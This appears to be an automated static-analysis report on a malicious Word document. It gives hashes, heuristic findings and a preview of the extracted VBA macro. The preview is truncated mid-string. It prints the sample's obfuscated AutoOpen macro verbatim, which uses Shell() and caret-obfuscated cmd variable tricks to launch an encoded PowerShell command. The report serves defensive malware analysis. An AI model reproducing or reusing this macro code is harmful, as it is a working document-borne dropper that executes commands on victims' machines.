Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 72205c0280a2ff16…

MALICIOUS

Office (OLE)

114.0 KB Created: 2018-06-06 13:23:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: c8c20146da0ffb1ab2aebea0a82d6d6a SHA-1: 7aeeec222ee4362b73be5dd3f44d82feccf09334 SHA-256: 72205c0280a2ff168e8191c963592909da754506ee29848c1321ef7c7fe7faea
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute arbitrary commands. The script concatenates strings to form a command, likely to download and execute a second-stage payload.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11949 bytes
SHA-256: bad9aadc16c9328589f1aa6de5cde315523064f48c0eaf1be444e0c8a3315164
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZpDwHLiuoh"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function EWYCumMwz()
On Error Resume Next
mQtUY = Hex(wBjCEK + Hex(cfXmz) * 41718 + Round(hLUhRd))
hUhUf = Cos(jftRkX)
nqpbmU = CDate(pQwCb)
bTawL = Cos(vHPjw)
ZbTzmF = Hex(cbCrV + Hex(vwOjQY) * 60847 + Round(iINEzF))
bmYKqt = Cos(tusiq)
wZYbF = CDate(QGjYw)
SouSG = Cos(oATAoi)
EWYCumMwz = OSUrJzBzH + Shell(VFEkoM + Chr(vKlUKpknQmu + vbKeyC + PUpUT) + JmoWpKzScrC + KkWOrZLK + MAivjFYnkY + VoYhkiW + BihWEophMWh + swvLCMTKjvO, 33062 - 33062)
iziDUr = Hex(iiuEkl + Hex(tpbuOa) * 4588 + Round(ESboz))
qhwkuu = Cos(DhDMhL)
ouphU = CDate(uLrFaE)
GuQbjs = Cos(szwTqr)
End Function
Sub Autoopen()
On Error Resume Next
pHYij = Hex(djKct + Hex(Fuipt) * 19364 + Round(PUJQbf))
OjqwVr = Cos(VFDTWt)
BWkohM = CDate(CNICJz)
DjqzCs = Cos(wtMGCq)
EWYCumMwz
pbWWQA = Hex(zZctT + Hex(MSivM) * 84084 + Round(RYMWU))
qEdXh = Cos(WEMmlj)
zNGHND = CDate(qndLRu)
oRQOA = Cos(OKJUB)
End Sub


Attribute VB_Name = "OwzzjwOSsoLQwS"
Function JmoWpKzScrC()
On Error Resume Next
VijUSj = Hex(jENtC + Hex(jiczc) * 13177 + Round(wIXDrv))
QSUzGk = Cos(pAzRt)
tMIKB = CDate(QCnpiY)
MoNKdd = Cos(ICRkQ)
JqXNfPUC = "md TCpZXIoZ" + "o XWBRSobCqis" + "uzquQ fQtCfYwkk" + "NHE &     %^" + "c^o^m"
Rnthdi = Hex(wFkAMB + Hex(fYdclY) * 51658 + Round(jcpWn))
ArvYu = Cos(hcIFM)
phGEN = CDate(bkrjYo)
rMuHQs = Cos(uMzOo)
jjZDl = "^S^p^E^c^%    " + " %^c^" + "o^m^S^p^E^c^% " + "  " + "  /" + "V         /c   " + "        set %" + "spcfcEORwziS" + "jnn"
SnLDPY = Hex(litRb + Hex(ruDfQ) * 35153 + Round(ZDCmU))
NFGdjr = Cos(lfnZo)
AYNIS = CDate(fBAMrh)
wiCPlY = Cos(XLKfFK)
wOLhw = "%=Hr" + "idrGtXLVq&" + "&set %ALrOrWYj%" + "=p&&set %Pzw"
MiMGd = Hex(vRiLuk + Hex(pqMsO) * 92802 + Round(vhjQC))
GzpNi = Cos(HDTXn)
Nrmfz = CDate(UBPtjw)
QIJdf = Cos(vDcjwb)
MvzXoQ = "uviNp%=" + "o^w&&set %dTi" + "ENKwwoQPVmfz%=j" + "maSr" + "lXcsid" + "M&&set " + "%HRUCUjB%=!%" + "ALrOrWYj%!&" + "&set %" + "mwETHNlwNuQI"
dqcFW = Hex(YnBFP + Hex(hsvBl) * 25935 + Round(rvRuw))
ncsCk = Cos(nDiMi)
JWNZi = CDate(DtNzC)
CrWik = Cos(Mvifi)
pEOipkARmd = "kpw%=" + "sW" + "wzsTMl&&set %" + "sMOfwNB"
jlQwbM = Hex(jRccq + Hex(SQCrE) * 23741 + Round(asztkF))
EAiud = Cos(WstzFR)
vViZO = CDate(fSJKEZ)
sQolW = Cos(Wtwji)
FzDKWLwJ = "XDPDs%=e^r&&s" + "et %Kchn" + "qi" + "H%=!%Pzw" + "uviNp%!&&set" + " %srda"
wCjZWC = Hex(mLuEJa + Hex(FZAvqd) * 40250 + Round(vFEIc))
uGzpAq = Cos(dzsnH)
nHwMf = CDate(sHzsD)
ENoGaV = Cos(asrEz)
EHHphPPZS = "csJ%=s&&" + "set %" + "kCzswFLijl" + "MsLvN%=uBYlV" + "SiBmL&&set %qCm" + "wKXSQS" + "WrJ%=he&&set"
IjOba = Hex(HiKhC + Hex(sZwkkz) * 26525 + Round(zvdcXY))
ZhavC = Cos(zWadj)
kvHtf = CDate(IhvPpH)
rDPMGm = Cos(BkiBj)
cZIiL = " %MAu" + "UNdNTSIcTM%=ll&" + "&!%HRUCUjB" + "%!!" + "%KchnqiH%!!%sMO"
AwvDXG = Hex(ZdwsC + Hex(qOqbKr) * 36443 + Round(LziJT))
bWzNFK = Cos(lLmsri)
UNEXK = CDate(vpKIX)
QkozN = Cos(DPcDdl)
iSmpCUi = "fwNBXDP" + "Ds%!!%sr" + "dacsJ%!!%" + "qCmw" + "KXSQSWr" + "J%!!%MAuU"
rEFDEj = Hex(JPhzt + Hex(wLvmL) * 82781 + Round(wtIwMY))
nSaQkT = Cos(TEqmFZ)
ABDrG = CDate(vsUqs)
vqwvIq = Cos(kjqpRM)
jRndah = "NdNTSIcT" + "M%!  -e I" + "AAuACAAKAAgACQA" + "ZQBOAHYAOg" + "BjAG8ATQB" + "TAFAAZQBj" + "AFsANAAsAD" + "EANQAsADIANQBdA" + "C0Aag" + "BPAGkATgAn"
JmoWpKzScrC = JqXNfPUC + jjZDl + wOLhw + MvzXoQ + pEOipkARmd + FzDKWLwJ + EHHphPPZS + cZIiL + iSmpCUi + jRndah
End Function
Function KkWOrZLK()
On Error Resume Next
afGFAF = Hex(lvsFF + Hex(WCuwk) * 46503 + Round(XuUIhv))
oXJLmi = Cos(cQlOpm)
JuGqD = CDate(JilrFs)
CjKwX = Cos(fcOlj)
hnuLAG = "ACcAKQAgACgAIAB" + "OAGUA" + "dwA" + "tAE8AYgBKAGU" + "AQwB0ACAAIABp" + "AG8ALgBzAFQ" + "AcgBF"
baulI = Hex(uldNzO + Hex(iLQGl) * 34688 + Round(tPdwG))
rkGrvI = Cos(XbKPw)
IKHkoj = CDate(fttOWc)
aZLww = Cos(UsJflS)
mMlVdKh = "AEEA" + "TQBy" + "AEUAY" + "QBEA" + "EU" + "Ac
... (truncated)